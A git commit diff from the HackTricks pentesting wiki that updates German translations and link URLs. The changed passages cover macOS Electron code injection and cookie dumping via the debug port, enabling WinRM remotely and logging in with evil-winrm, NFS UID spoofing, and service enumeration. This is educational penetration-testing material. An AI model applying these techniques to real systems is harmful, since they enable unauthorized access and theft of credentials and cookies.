Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-11 18:53:12 +00:00
parent f9364436f9
commit 56f785d1ca
37 changed files with 468 additions and 461 deletions

View File

@ -289,7 +289,7 @@
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]()
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
@ -692,9 +692,9 @@
# ⛈️ Cloud Security
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]()
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
# 😎 Hardware/Physical Access

View File

@ -1,27 +1,27 @@
# macOS Electron-Anwendungen Injektion
# macOS Electron-Anwendungen Injection
{{#include ../../../banners/hacktricks-training.md}}
## Grundinformationen
Wenn Sie nicht wissen, was Electron ist, finden Sie [**hier viele Informationen**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Aber für jetzt wissen Sie einfach, dass Electron **node** ausführt.\
Wenn Sie nicht wissen, was Electron ist, finden Sie [**hier viele Informationen**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Aber für jetzt wissen Sie einfach, dass Electron **node** ausführt.\
Und node hat einige **Parameter** und **Umgebungsvariablen**, die verwendet werden können, um **anderen Code auszuführen**, abgesehen von der angegebenen Datei.
### Electron-Fuses
### Electron Fuses
Diese Techniken werden als Nächstes besprochen, aber in letzter Zeit hat Electron mehrere **Sicherheitsflags hinzugefügt, um sie zu verhindern**. Dies sind die [**Electron-Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) und diese werden verwendet, um zu **verhindern**, dass Electron-Anwendungen in macOS **willkürlichen Code laden**:
Diese Techniken werden als nächstes besprochen, aber in letzter Zeit hat Electron mehrere **Sicherheitsflags hinzugefügt, um sie zu verhindern**. Dies sind die [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) und diese werden verwendet, um zu **verhindern**, dass Electron-Anwendungen in macOS **willkürlichen Code laden**:
- **`RunAsNode`**: Wenn deaktiviert, verhindert es die Verwendung der Umgebungsvariable **`ELECTRON_RUN_AS_NODE`**, um Code zu injizieren.
- **`EnableNodeCliInspectArguments`**: Wenn deaktiviert, werden Parameter wie `--inspect`, `--inspect-brk` nicht respektiert. Dies vermeidet diesen Weg, um Code zu injizieren.
- **`EnableEmbeddedAsarIntegrityValidation`**: Wenn aktiviert, wird die geladene **`asar`** **Datei** von macOS **validiert**. Dadurch wird **Code-Injektion** durch Modifikation des Inhalts dieser Datei **verhindert**.
- **`EnableEmbeddedAsarIntegrityValidation`**: Wenn aktiviert, wird die geladene **`asar`** **Datei** von macOS **validiert**. Dadurch wird **Code-Injection** verhindert, indem der Inhalt dieser Datei geändert wird.
- **`OnlyLoadAppFromAsar`**: Wenn dies aktiviert ist, wird anstelle der Suche in der folgenden Reihenfolge: **`app.asar`**, **`app`** und schließlich **`default_app.asar`** nur app.asar überprüft und verwendet, wodurch sichergestellt wird, dass es in Kombination mit dem **`embeddedAsarIntegrityValidation`** Fuse **unmöglich** ist, **nicht-validierten Code** zu **laden**.
- **`LoadBrowserProcessSpecificV8Snapshot`**: Wenn aktiviert, verwendet der Browserprozess die Datei `browser_v8_context_snapshot.bin` für seinen V8-Snapshot.
- **`LoadBrowserProcessSpecificV8Snapshot`**: Wenn aktiviert, verwendet der Browserprozess die Datei namens `browser_v8_context_snapshot.bin` für seinen V8-Snapshot.
Ein weiterer interessanter Fuse, der die Code-Injektion nicht verhindert, ist:
Ein weiterer interessanter Fuse, der die Code-Injection nicht verhindert, ist:
- **EnableCookieEncryption**: Wenn aktiviert, wird der Cookie-Speicher auf der Festplatte mit kryptografischen Schlüsseln auf Betriebssystemebene verschlüsselt.
### Überprüfen der Electron-Fuses
### Überprüfen der Electron Fuses
Sie können **diese Flags** von einer Anwendung aus überprüfen mit:
```bash
@ -50,7 +50,7 @@ Sie könnten diese Datei in [https://hexed.it/](https://hexed.it/) laden und nac
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
Beachten Sie, dass die Anwendung nicht ausgeführt wird, wenn Sie versuchen, die **`Electron Framework`**-Binärdatei innerhalb einer Anwendung mit diesen modifizierten Bytes zu **überschreiben**.
Beachten Sie, dass die Anwendung nicht ausgeführt wird, wenn Sie versuchen, die **`Electron Framework`-Binärdatei** innerhalb einer Anwendung mit diesen modifizierten Bytes **zu überschreiben**.
## RCE Code zu Electron-Anwendungen hinzufügen
@ -59,14 +59,14 @@ Es könnte **externe JS/HTML-Dateien** geben, die eine Electron-App verwendet, s
> [!CAUTION]
> Es gibt jedoch derzeit 2 Einschränkungen:
>
> - Die **`kTCCServiceSystemPolicyAppBundles`**-Berechtigung ist **erforderlich**, um eine App zu ändern, sodass dies standardmäßig nicht mehr möglich ist.
> - Die Berechtigung **`kTCCServiceSystemPolicyAppBundles`** ist **erforderlich**, um eine App zu ändern, sodass dies standardmäßig nicht mehr möglich ist.
> - Die kompilierte **`asap`**-Datei hat normalerweise die Sicherungen **`embeddedAsarIntegrityValidation`** `und` **`onlyLoadAppFromAsar`** `aktiviert`
>
> Dies macht diesen Angriffsweg komplizierter (oder unmöglich).
Beachten Sie, dass es möglich ist, die Anforderung von **`kTCCServiceSystemPolicyAppBundles`** zu umgehen, indem Sie die Anwendung in ein anderes Verzeichnis (wie **`/tmp`**) kopieren, den Ordner **`app.app/Contents`** in **`app.app/NotCon`** umbenennen, die **asar**-Datei mit Ihrem **bösartigen** Code **modifizieren**, sie wieder in **`app.app/Contents`** umbenennen und sie ausführen.
Sie können den Code aus der asar-Datei mit entpacken:
Sie können den Code aus der asar-Datei mit:
```bash
npx asar extract app.asar app-decomp
```
@ -157,9 +157,9 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
> [!CAUTION]
> Wenn die Sicherung **`EnableNodeCliInspectArguments`** deaktiviert ist, wird die App **Node-Parameter** (wie `--inspect`) beim Start ignorieren, es sei denn, die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ist gesetzt, die ebenfalls **ignoriert** wird, wenn die Sicherung **`RunAsNode`** deaktiviert ist.
>
> Sie könnten jedoch immer noch den **Electron-Parameter `--remote-debugging-port=9229`** verwenden, aber die vorherige Payload wird nicht funktionieren, um andere Prozesse auszuführen.
> Sie können jedoch immer noch den **Electron-Parameter `--remote-debugging-port=9229`** verwenden, aber die vorherige Payload funktioniert nicht, um andere Prozesse auszuführen.
Mit dem Parameter **`--remote-debugging-port=9222`** ist es möglich, einige Informationen von der Electron-App zu stehlen, wie die **Historie** (mit GET-Befehlen) oder die **Cookies** des Browsers (da sie im Browser **entschlüsselt** sind und es einen **JSON-Endpunkt** gibt, der sie bereitstellt).
Mit dem Parameter **`--remote-debugging-port=9222`** ist es möglich, einige Informationen aus der Electron-App zu stehlen, wie die **Verlauf** (mit GET-Befehlen) oder die **Cookies** des Browsers (da sie im Browser **entschlüsselt** sind und es einen **JSON-Endpunkt** gibt, der sie bereitstellt).
Sie können lernen, wie man das macht, [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) und [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) und das automatische Tool [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) oder ein einfaches Skript wie:
```python
@ -187,19 +187,19 @@ Sie könnten diese Umgebungsvariable in einer plist missbrauchen, um Persistenz
<true/>
</dict>
```
## TCC Bypass durch Ausnutzung älterer Versionen
## TCC Bypass abusing Older Versions
> [!TIP]
> Der TCC-Daemon von macOS überprüft nicht die ausgeführte Version der Anwendung. Wenn Sie also **keinen Code in eine Electron-Anwendung injizieren können** mit einer der vorherigen Techniken, könnten Sie eine frühere Version der APP herunterladen und Code darauf injizieren, da sie weiterhin die TCC-Berechtigungen erhält (es sei denn, der Trust Cache verhindert dies).
## Nicht-JS-Code ausführen
## Run non JS Code
Die vorherigen Techniken ermöglichen es Ihnen, **JS-Code innerhalb des Prozesses der Electron-Anwendung auszuführen**. Denken Sie jedoch daran, dass die **Kindprozesse unter demselben Sandbox-Profil** wie die übergeordnete Anwendung ausgeführt werden und **ihre TCC-Berechtigungen erben**.\
Wenn Sie also Berechtigungen ausnutzen möchten, um beispielsweise auf die Kamera oder das Mikrofon zuzugreifen, könnten Sie einfach **eine andere Binärdatei aus dem Prozess ausführen**.
Die vorherigen Techniken ermöglichen es Ihnen, **JS-Code innerhalb des Prozesses der Electron-Anwendung** auszuführen. Denken Sie jedoch daran, dass die **Kindprozesse unter demselben Sandbox-Profil** wie die übergeordnete Anwendung ausgeführt werden und **ihre TCC-Berechtigungen erben**.\
Daher, wenn Sie Berechtigungen missbrauchen möchten, um beispielsweise auf die Kamera oder das Mikrofon zuzugreifen, könnten Sie einfach **eine andere Binärdatei aus dem Prozess heraus ausführen**.
## Automatische Injektion
## Automatic Injection
Das Tool [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kann leicht verwendet werden, um **anfällige Electron-Anwendungen** zu finden, die installiert sind, und Code in sie zu injizieren. Dieses Tool wird versuchen, die **`--inspect`**-Technik zu verwenden:
Das Tool [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kann leicht verwendet werden, um **anfällige Electron-Anwendungen** zu finden und Code in diese zu injizieren. Dieses Tool wird versuchen, die **`--inspect`**-Technik zu verwenden:
Sie müssen es selbst kompilieren und können es so verwenden:
```bash

View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
## Grundinformationen
## Grundlegende Informationen
Das **Ident-Protokoll** wird über das **Internet** verwendet, um eine **TCP-Verbindung** mit einem bestimmten Benutzer zu verknüpfen. Ursprünglich entwickelt, um bei der **Netzwerkverwaltung** und **Sicherheit** zu helfen, funktioniert es, indem es einem Server ermöglicht, einen Client über Port 113 abzufragen, um Informationen über den Benutzer einer bestimmten TCP-Verbindung anzufordern.
@ -31,7 +31,7 @@ Andere Fehler:
### Nmap
Standardmäßig (\`-sC\`\`) identifiziert nmap jeden Benutzer jedes laufenden Ports:
Standardmäßig (\`-sC\`\`) wird nmap jeden Benutzer jedes laufenden Ports identifizieren:
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
@ -48,7 +48,7 @@ PORT STATE SERVICE VERSION
```
### Ident-user-enum
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) ist ein einfaches PERL-Skript, um den Ident-Dienst (113/TCP) abzufragen, um den Besitzer des Prozesses zu bestimmen, der an jedem TCP-Port eines Zielsystems lauscht. Die gesammelte Liste von Benutzernamen kann für Passwort-Erratungsangriffe auf andere Netzwerkdienste verwendet werden. Es kann mit `apt install ident-user-enum` installiert werden.
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) ist ein einfaches PERL-Skript, um den Ident-Dienst (113/TCP) abzufragen, um den Besitzer des Prozesses zu bestimmen, der auf jedem TCP-Port eines Zielsystems lauscht. Die gesammelte Liste von Benutzernamen kann für Passwort-Erratungsangriffe auf andere Netzwerkdienste verwendet werden. Es kann mit `apt install ident-user-enum` installiert werden.
```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
@ -78,7 +78,7 @@ Description: Notes for Ident
Note: |
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
Entry_2:
Name: Enum Users

View File

@ -14,7 +14,7 @@
### Name Service
Damit ein Gerät an einem NetBIOS-Netzwerk teilnehmen kann, muss es einen eindeutigen Namen haben. Dies wird durch einen **Broadcast-Prozess** erreicht, bei dem ein "Name Query"-Paket gesendet wird. Wenn keine Einwände erhoben werden, wird der Name als verfügbar angesehen. Alternativ kann ein **Name Service-Server** direkt abgefragt werden, um die Verfügbarkeit eines Namens zu überprüfen oder um einen Namen in eine IP-Adresse aufzulösen. Tools wie `nmblookup`, `nbtscan` und `nmap` werden verwendet, um NetBIOS-Dienste zu enumerieren und Servernamen sowie MAC-Adressen offenzulegen.
Damit ein Gerät an einem NetBIOS-Netzwerk teilnehmen kann, muss es einen eindeutigen Namen haben. Dies wird durch einen **Broadcast-Prozess** erreicht, bei dem ein "Name Query"-Paket gesendet wird. Wenn keine Einwände erhoben werden, wird der Name als verfügbar betrachtet. Alternativ kann ein **Name Service-Server** direkt abgefragt werden, um die Verfügbarkeit eines Namens zu überprüfen oder um einen Namen in eine IP-Adresse aufzulösen. Tools wie `nmblookup`, `nbtscan` und `nmap` werden verwendet, um NetBIOS-Dienste zu enumerieren und Servernamen sowie MAC-Adressen offenzulegen.
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
@ -27,7 +27,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Datagram-Verteilungsdienst
NetBIOS-Datagramme ermöglichen verbindungslose Kommunikation über UDP und unterstützen direkte Nachrichtenübermittlung oder Broadcast an alle Netzwerknamen. Dieser Dienst verwendet den Port **138/udp**.
NetBIOS-Datagramme ermöglichen verbindungslose Kommunikation über UDP und unterstützen direkte Nachrichtenübermittlung oder Broadcasts an alle Netzwerknamen. Dieser Dienst verwendet den Port **138/udp**.
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
@ -43,7 +43,7 @@ Diese Dienste sind integraler Bestandteil der **NetBIOS**-Funktionalität und er
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
**Lies die nächste Seite, um zu erfahren, wie man diesen Dienst enumeriert:**
**Lies die nächste Seite, um zu lernen, wie man diesen Dienst enumeriert:**
{{#ref}}
137-138-139-pentesting-netbios.md
@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
Entry_2:
Name: Find Names

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## Grundinformationen
## Grundlegende Informationen
Die Oracle-Datenbank (Oracle DB) ist ein relationales Datenbankmanagementsystem (RDBMS) von der Oracle Corporation (von [hier](https://www.techopedia.com/definition/8711/oracle-database)).
Oracle-Datenbank (Oracle DB) ist ein relationales Datenbankmanagementsystem (RDBMS) von der Oracle Corporation (von [hier](https://www.techopedia.com/definition/8711/oracle-database)).
Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommunizieren, der sich normalerweise am Standardport (1521/TCP, -es können auch sekundäre Listener auf 15221529 vorhanden sein-).
```
@ -15,7 +15,7 @@ Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommu
1. **Versionsenumeration**: Identifizieren Sie Versionsinformationen, um nach bekannten Schwachstellen zu suchen.
2. **TNS Listener Bruteforce**: Manchmal notwendig, um die Kommunikation herzustellen.
3. **SID-Namen-Enumeration/Bruteforce**: Entdecken Sie Datenbanknamen (SID).
3. **SID Name Enumeration/Bruteforce**: Entdecken Sie Datenbanknamen (SID).
4. **Credential Bruteforce**: Versuchen Sie, auf die entdeckte SID zuzugreifen.
5. **Codeausführung**: Versuchen Sie, Code auf dem System auszuführen.
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -4,9 +4,9 @@
## Grundlegende Informationen
Die Oracle-Datenbank (Oracle DB) ist ein relationales Datenbankmanagementsystem (RDBMS) von der Oracle Corporation (von [hier](https://www.techopedia.com/definition/8711/oracle-database)).
Oracle-Datenbank (Oracle DB) ist ein relationales Datenbankmanagementsystem (RDBMS) von der Oracle Corporation (von [hier](https://www.techopedia.com/definition/8711/oracle-database)).
Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommunizieren, der sich normalerweise am Standardport (1521/TCP, -es können auch sekundäre Listener auf 15221529 vorhanden sein-).
Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommunizieren, der normalerweise auf dem Standardport (1521/TCP, -es können auch sekundäre Listener auf 15221529 vorhanden sein-).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
@ -15,7 +15,7 @@ Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommu
1. **Versionsenumeration**: Identifizieren Sie Versionsinformationen, um nach bekannten Schwachstellen zu suchen.
2. **TNS Listener Bruteforce**: Manchmal notwendig, um die Kommunikation herzustellen.
3. **SID-Namen Enumeration/Bruteforce**: Entdecken Sie Datenbanknamen (SID).
3. **SID Name Enumeration/Bruteforce**: Entdecken Sie Datenbanknamen (SID).
4. **Credential Bruteforce**: Versuchen Sie, auf die entdeckte SID zuzugreifen.
5. **Codeausführung**: Versuchen Sie, Code auf dem System auszuführen.
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -4,7 +4,7 @@
## Grundlegende Informationen
Das **WHOIS**-Protokoll dient als Standardmethode zur **Anfrage über die Registranten oder Inhaber verschiedener Internetressourcen** über spezifische Datenbanken. Diese Ressourcen umfassen Domainnamen, IP-Adressblöcke und autonome Systeme, unter anderem. Darüber hinaus findet das Protokoll Anwendung beim Zugriff auf ein breiteres Spektrum an Informationen.
Das **WHOIS**-Protokoll dient als standardisierte Methode zur **Abfrage der Registranten oder Inhaber verschiedener Internetressourcen** über spezifische Datenbanken. Diese Ressourcen umfassen Domainnamen, IP-Adressblöcke und autonome Systeme, unter anderem. Darüber hinaus findet das Protokoll Anwendung beim Zugriff auf ein breiteres Spektrum an Informationen.
**Standardport:** 43
```
@ -41,7 +41,7 @@ Note: |
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -9,7 +9,7 @@ Dieser Port wird von **Redshift** verwendet. Es ist im Grunde eine AWS-Variante
Für weitere Informationen siehe:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) wird als **Protokoll von Microsoft** hervorgehoben, das die **Fernverwaltung von Windows-Systemen** über HTTP(S) ermöglicht und dabei SOAP nutzt. Es wird grundlegend von WMI unterstützt und präsentiert sich als HTTP-basiertes Interface für WMI-Operationen.
Die Anwesenheit von WinRM auf einem Rechner ermöglicht eine unkomplizierte Fernadministration über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM aktiv ist, wird empfohlen, die Öffnung bestimmter Ports zu überprüfen:
Das Vorhandensein von WinRM auf einem Rechner ermöglicht eine unkomplizierte Fernadministration über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM aktiv ist, wird empfohlen, die Öffnung bestimmter Ports zu überprüfen:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
@ -22,7 +22,7 @@ Set-Item wsman:\localhost\client\trustedhosts *
```
Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur `trustedhosts`-Konfiguration, ein Schritt, der sorgfältige Überlegungen aufgrund seiner Implikationen erfordert. Es wird auch angemerkt, dass es notwendig sein könnte, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern.
Darüber hinaus kann WinRM **remote aktiviert** werden, indem der `wmic`-Befehl verwendet wird, wie folgt demonstriert:
Darüber hinaus kann WinRM **ferngesteuert aktiviert** werden, indem der `wmic`-Befehl verwendet wird, wie folgt demonstriert:
```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
@ -30,7 +30,7 @@ Diese Methode ermöglicht die Remote-Einrichtung von WinRM und verbessert die Fl
### Testen, ob konfiguriert
Um die Einrichtung Ihrer Angriffsmaschine zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel WinRM ordnungsgemäß konfiguriert hat. Durch die Ausführung dieses Befehls sollten Sie Details zur Protokollversion und wsmid erwarten, die auf eine erfolgreiche Konfiguration hinweisen. Nachfolgend sind Beispiele aufgeführt, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten zeigen:
Um die Einrichtung Ihrer Angriffsmaschine zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel WinRM ordnungsgemäß konfiguriert hat. Durch die Ausführung dieses Befehls sollten Sie Details zur Protokollversion und wsmid erhalten, die auf eine erfolgreiche Konfiguration hinweisen. Nachfolgend finden Sie Beispiele, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten zeigen:
- Für ein Ziel, das **ordentlich** konfiguriert ist, wird die Ausgabe ähnlich wie folgt aussehen:
```bash
@ -46,7 +46,7 @@ Die Antwort sollte Informationen über die Protokollversion und wsmid enthalten,
### Führen Sie einen Befehl aus
Um `ipconfig` remote auf einem Zielcomputer auszuführen und die Ausgabe anzuzeigen, tun Sie:
Um `ipconfig` remote auf einem Zielrechner auszuführen und die Ausgabe anzuzeigen, tun Sie:
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
@ -85,7 +85,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
```
![](<../images/image (1009).png>)
**Die Sitzung wird in einem neuen Prozess (wsmprovhost) innerhalb des "Opfers" ausgeführt**
**Die Sitzung wird in einem neuen Prozess (wsmprovhost) innerhalb des "Opfers" ausgeführt.**
### **WinRM Öffnen Erzwingen**
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
```ruby
gem install evil-winrm
```
Lies die **Dokumentation** auf seinem GitHub: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
Lesen Sie die **Dokumentation** auf GitHub: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
@ -220,7 +220,7 @@ end
- `port:5985 Microsoft-HTTPAPI`
## Referenzen
## References
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
@ -254,7 +254,7 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force

View File

@ -8,7 +8,7 @@
Ein bemerkenswerter Aspekt dieses Protokolls ist das Fehlen von integrierten **Authentifizierungs**- oder **Autorisierungsmechanismen**. Stattdessen basiert die Autorisierung auf **Dateisysteminformationen**, wobei der Server dafür verantwortlich ist, die **vom Client bereitgestellten Benutzerinformationen** in das erforderliche **Autorisierungsformat** des Dateisystems genau zu übersetzen, hauptsächlich gemäß der **UNIX-Syntax**.
Die Authentifizierung stützt sich häufig auf **UNIX `UID`/`GID`-Identifikatoren und Gruppenmitgliedschaften**. Ein Problem ergibt sich jedoch aufgrund der möglichen Diskrepanz in den **`UID`/`GID`-Zuordnungen** zwischen Clients und Servern, was keinen Raum für zusätzliche Überprüfungen durch den Server lässt. Folglich ist das Protokoll am besten für die Verwendung innerhalb von **vertrauenswürdigen Netzwerken** geeignet, da es auf dieser Methode der Authentifizierung basiert.
Die Authentifizierung stützt sich häufig auf **UNIX `UID`/`GID`-Identifikatoren und Gruppenmitgliedschaften**. Ein Problem ergibt sich jedoch aufgrund der möglichen Diskrepanz in den **`UID`/`GID`-Zuordnungen** zwischen Clients und Servern, was keinen Raum für zusätzliche Überprüfungen durch den Server lässt. Folglich ist das Protokoll am besten für die Verwendung innerhalb **vertrauenswürdiger Netzwerke** geeignet, da es auf dieser Methode der Authentifizierung basiert.
**Standardport**: 2049/TCP/UDP (außer Version 4, es benötigt nur TCP oder UDP).
```
@ -22,7 +22,7 @@ Die Authentifizierung stützt sich häufig auf **UNIX `UID`/`GID`-Identifikatore
- **NFSv4**: Eine wegweisende Version in der NFS-Serie, brachte NFSv4 eine Reihe von Funktionen mit sich, die darauf abzielen, die Dateifreigabe über Netzwerke zu modernisieren. Zu den bemerkenswerten Verbesserungen gehören die Integration von Kerberos für **hohe Sicherheit**, die Fähigkeit, Firewalls zu durchqueren und über das Internet ohne die Notwendigkeit von Portmappern zu arbeiten, Unterstützung für Access Control Lists (ACLs) und die Einführung von zustandsbasierten Operationen. Die Leistungsverbesserungen und die Einführung eines zustandsbehafteten Protokolls heben NFSv4 als einen entscheidenden Fortschritt in der Technologie der Netzwerkdateifreigabe hervor.
Jede Version von NFS wurde mit dem Ziel entwickelt, den sich entwickelnden Bedürfnissen von Netzwerkumgebungen gerecht zu werden, wobei Sicherheit, Kompatibilität und Leistung schrittweise verbessert wurden.
Jede Version von NFS wurde mit dem Ziel entwickelt, den sich entwickelnden Bedürfnissen von Netzwerkumgebungen gerecht zu werden und schrittweise Sicherheit, Kompatibilität und Leistung zu verbessern.
## Enumeration
@ -38,7 +38,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Mounting
Um zu wissen, **welcher Ordner** dem Server **verfügbar** ist, um ihn zu mounten, können Sie ihn fragen mit:
Um zu wissen, **welcher Ordner** auf dem Server **verfügbar** ist, um ihn zu mounten, können Sie ihn fragen mit:
```bash
showmount -e <IP>
```
@ -55,7 +55,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## Berechtigungen
Wenn Sie einen Ordner einhängen, der **Dateien oder Ordner enthält, die nur von einem bestimmten Benutzer** (durch **UID**) zugänglich sind. Sie können **lokal** einen Benutzer mit dieser **UID** erstellen und mit diesem **Benutzer** werden Sie in der Lage sein, auf die Datei/den Ordner zu **zugreifen**.
Wenn Sie einen Ordner einhängen, der **Dateien oder Ordner enthält, die nur von einem bestimmten Benutzer** (durch **UID**) zugänglich sind. Sie können **lokal** einen Benutzer mit dieser **UID** erstellen und mit diesem **Benutzer** werden Sie in der Lage sein, auf die Datei/den Ordner zuzugreifen.
## NSFShell
@ -104,7 +104,7 @@ mount -t nfs -o ver=2 10.10.10.180:/home /mnt/
cd /mnt
nano into /etc/passwd and change the uid (probably 1000 or 1001) to match the owner of the files if you are not able to get in
https://book.hacktricks.xyz/pentesting/nfs-service-pentesting
https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html
Entry_2:
Name: Nmap

View File

@ -19,9 +19,9 @@ PORT STATE SERVICE REASON
